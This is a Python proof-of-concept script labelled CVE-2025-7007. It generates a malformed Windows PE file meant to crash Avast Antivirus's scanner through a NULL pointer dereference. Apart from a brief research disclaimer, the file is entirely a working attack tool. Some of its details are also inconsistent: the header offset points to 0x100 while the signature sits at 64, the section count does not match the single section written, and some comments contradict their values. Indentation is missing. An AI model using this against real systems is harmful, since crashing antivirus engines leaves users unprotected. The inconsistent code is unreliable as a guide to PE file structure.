#!/usr/bin/env python3
"""
CVE-2025-7007 PoC - Malformed PE File Generator
Generates a malformed Windows PE file to trigger NULL Pointer Dereference
in Avast Antivirus on MacOS/Linux during scanning.
Note: This PoC is for educational and security research purposes only.
"""
import struct
import os
def create_malformed_pe(output_path):
"""
Create a malformed PE file that may trigger NULL pointer dereference
in Avast Antivirus scanning engine.
"""
# DOS Header - corrupt some fields to trigger parsing error
dos_header = bytearray(64)
struct.pack_into('<H', dos_header, 0, 0x5A4D) # e_magic (MZ)
struct.pack_into('<I', dos_header, 60, 0x100) # e_lfanew (PE header offset) - manipulated
# PE Signature
pe_signature = b'PE\x00\x00'
# COFF File Header (corrupted)
coff_header = bytearray(20)
struct.pack_into('<H', coff_header, 0, 0x014C) # Machine (i386)
struct.pack_into('<H', coff_header, 2, 2) # NumberOfSections - minimal
struct.pack_into('<I', coff_header, 4, 0) # TimeDateStamp - zeroed
struct.pack_into('<I', coff_header, 8, 0) # PointerToSymbolTable - zeroed
struct.pack_into('<I', coff_header, 12, 0) # NumberOfSymbols - zeroed
struct.pack_into('<H', coff_header, 16, 0xE0) # SizeOfOptionalHeader
struct.pack_into('<H', coff_header, 18, 0x0102) # Characteristics - corrupted flags
# Optional Header (malformed)
optional_header = bytearray(0xE0)
struct.pack_into('<H', optional_header, 0, 0x010B) # Magic (PE32)
struct.pack_into('<B', optional_header, 2, 8) # LinkerVersion
struct.pack_into('<I', optional_header, 4, 0x100) # SizeOfCode - suspicious
struct.pack_into('<I', optional_header, 8, 0) # SizeOfInitializedData - zero
struct.pack_into('<I', optional_header, 12, 0) # SizeOfUninitializedData - zero
# Set BaseOfCode to NULL to trigger vulnerability
struct.pack_into('<I', optional_header, 16, 0) # BaseOfCode - NULL
struct.pack_into('<I', optional_header, 20, 0) # BaseOfData - NULL
struct.pack_into('<I', optional_header, 24, 0x400000) # ImageBase
struct.pack_into('<I', optional_header, 28, 0x1000) # SectionAlignment
struct.pack_into('<I', optional_header, 32, 0x200) # FileAlignment - suspicious
struct.pack_into('<H', optional_header, 36, 4) # OSVersion
struct.pack_into('<H', optional_header, 40, 0) # ImageVersion
struct.pack_into('<H', optional_header, 44, 0) # SubsystemVersion
struct.pack_into('<I', optional_header, 48, 0) # Win32VersionValue
struct.pack_into('<I', optional_header, 52, 0x5000) # SizeOfImage - inconsistent
struct.pack_into('<I', optional_header, 56, 0x200) # SizeOfHeaders - small
struct.pack_into('<I', optional_header, 92, 0x3000) # CheckSum - suspicious
struct.pack_into('<H', optional_header, 96, 3) # Subsystem (GUI)
struct.pack_into('<I', optional_header, 100, 0x100000) # SizeOfStackReserve
struct.pack_into('<I', optional_header, 104, 0x1000) # SizeOfStackCommit
struct.pack_into('<I', optional_header, 108, 0x100000) # SizeOfHeapReserve
struct.pack_into('<I', optional_header, 112, 0x1000) # SizeOfHeapCommit
struct.pack_into('<I', optional_header, 116, 0) # LoaderFlags
struct.pack_into('<I', optional_header, 120, 16) # NumberOfRvaAndSizes - minimal
# Section Header (corrupted/malformed)
section_header = bytearray(40)
section_header[:8] = b'.text\x00\x00\x00' # Name
struct.pack_into('<I', section_header, 8, 0x100) # VirtualSize - zero
struct.pack_into('<I', section_header, 12, 0) # VirtualAddress - NULL
struct.pack_into('<I', section_header, 16, 0) # SizeOfRawData - zero
struct.pack_into('<I', section_header, 20, 0) # PointerToRawData - NULL
struct.pack_into('<I', section_header, 24, 0) # PointerToRelocations - NULL
struct.pack_into('<I', section_header, 28, 0) # PointerToLinenumbers - NULL
struct.pack_into('<H', section_header, 32, 0) # NumberOfRelocations - zero
struct.pack_into('<H', section_header, 34, 0) # NumberOfLinenumbers - zero
struct.pack_into('<I', section_header, 36, 0x60000020) # Characteristics
# Combine all parts
pe_file = dos_header + pe_signature + coff_header + optional_header + section_header
# Write to file
with open(output_path, 'wb') as f:
f.write(pe_file)
print(f'[+] Malformed PE file created: {output_path}')
print(f'[+] File size: {len(pe_file)} bytes')
print('[!] This file may trigger NULL Pointer Dereference in Avast Antivirus')
if __name__ == '__main__':
output_file = 'CVE-2025-7007_malformed_pe.exe'
create_malformed_pe(output_file)